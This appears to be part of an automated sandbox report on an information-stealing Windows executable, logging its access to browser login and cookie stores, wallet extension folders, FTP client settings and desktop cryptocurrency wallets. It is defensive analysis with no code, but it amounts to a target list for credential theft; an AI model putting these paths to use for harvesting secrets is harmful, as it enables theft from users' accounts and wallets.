Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Directory queried: C:\Users\user\Documents
